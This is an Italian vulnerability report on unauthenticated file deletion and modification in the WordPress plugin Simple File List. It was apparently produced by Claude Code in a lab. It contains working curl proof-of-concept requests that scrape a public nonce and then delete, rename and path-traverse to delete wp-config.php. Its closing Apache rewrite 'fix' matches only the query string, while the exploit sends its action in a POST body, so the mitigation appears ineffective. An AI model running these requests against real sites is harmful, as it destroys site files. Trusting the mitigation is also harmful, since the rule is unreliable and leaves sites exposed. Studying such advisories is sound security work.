
Mancanza di Autorizzazione per Modifica di File Non Autenticata
| Campo | Valore |
|---|
| CVE ID | CVE-2026-11912 |
| Punteggio CVSS | 7.5 (Alto) |
| Vettore CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N |
| Plugin Affetto | Simple File List |
| Versioni Affette | <= 6.3.7 |
| Versione Corretta | 6.3.8 |
| Pubblicato | 19 giugno 2026 |
| Ricercatore | Chloe Chamberland - Wordfence |
| Ambiente di Laboratorio | poloss-lab.ddev.site (DDEV) |
Il plugin Simple File List per WordPress è vulnerabile a modifiche arbitrarie dei file a causa di controlli di autorizzazione insufficienti in tutte le versioni fino alla 6.3.7 inclusa. Ciò consente a utenti non autenticati di eliminare e modificare file sul server.
La vulnerabilità esiste per i seguenti motivi:
Registrazione dell'Endpoint AJAX: L'azione AJAX simplefilelist_edit_job è registrata con entrambi gli hook wp_ajax_ e wp_ajax_nopriv_, consentendo l'accesso non autenticato:
add_action('wp_ajax_simplefilelist_edit_job', 'simplefilelist_edit_job');
add_action('wp_ajax_nopriv_simplefilelist_edit_job', 'simplefilelist_edit_job');
Controllo di Autorizzazione Difettoso: La logica di autorizzazione in eeSFL_FileEditor() (riga 1265) utilizza:
if(!is_admin() AND $eeSFL->eeListSettings['AllowFrontManage'] != 'YES') {
return;
}
La funzione is_admin() restituisce FALSE per le richieste AJAX, causando un cortocircuito del controllo di autorizzazione prima che l'impostazione AllowFrontManage venga valutata.
Esposizione del Nonce: Il nonce di sicurezza (eeSFL_ActionNonce) viene generato utilizzando wp_create_nonce() ed esposto nel codice sorgente HTML del frontend, consentendo agli attaccanti di estrarlo senza autenticazione.
Durante i test, questa vulnerabilità è stata sfruttata con successo per ELIMINARE il file di configurazione di WordPress (wp-config.php), rompendo completamente il sito. Ciò dimostra la gravità critica dell'aspetto di path traversal di questa vulnerabilità.
# Get the security nonce from the file list page
curl -k -sL "https://poloss-lab.ddev.site/file-list/" | grep -o 'eeSFL_ActionNonce">[^<]*'
# Output: eeSFL_ActionNonce">1c14af78c2
curl -k -s "https://poloss-lab.ddev.site/wp-admin/admin-ajax.php" -X POST \
-d "action=simplefilelist_edit_job" \
-d "eeSecurity=1c14af78c2" \
-d "eeSFL_ID=1" \
-d "eeFileAction=Delete" \
-d "eeFileName=test.txt"
# Response: SUCCESS
curl -k -s "https://poloss-lab.ddev.site/wp-admin/admin-ajax.php" -X POST \
-d "action=simplefilelist_edit_job" \
-d "eeSecurity=1c14af78c2" \
-d "eeSFL_ID=1" \
-d "eeFileAction=Edit" \
-d "eeFileName=original.pdf" \
-d "eeFileNameNew=malicious.pdf"
# Response: SUCCESS
curl -k -s "https://poloss-lab.ddev.site/wp-admin/admin-ajax.php" -X POST \
-d "action=simplefilelist_edit_job" \
-d "eeSecurity=1c14af78c2" \
-d "eeSFL_ID=1" \
-d "eeFileAction=Delete" \
-d "eeFileName=../../wp-config.php"
# Response: SUCCESS (CRITICAL - This breaks the site!)
[eeSFL]# Block simplefilelist_edit_job AJAX calls
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{QUERY_STRING} action=simplefilelist_edit_job
RewriteRule ^wp-admin/admin-ajax\.php$ - [F,L]
</IfModule>
Report generato da Claude Code - Laboratorio di Test di Sicurezza WordPress Data: 20 giugno 2026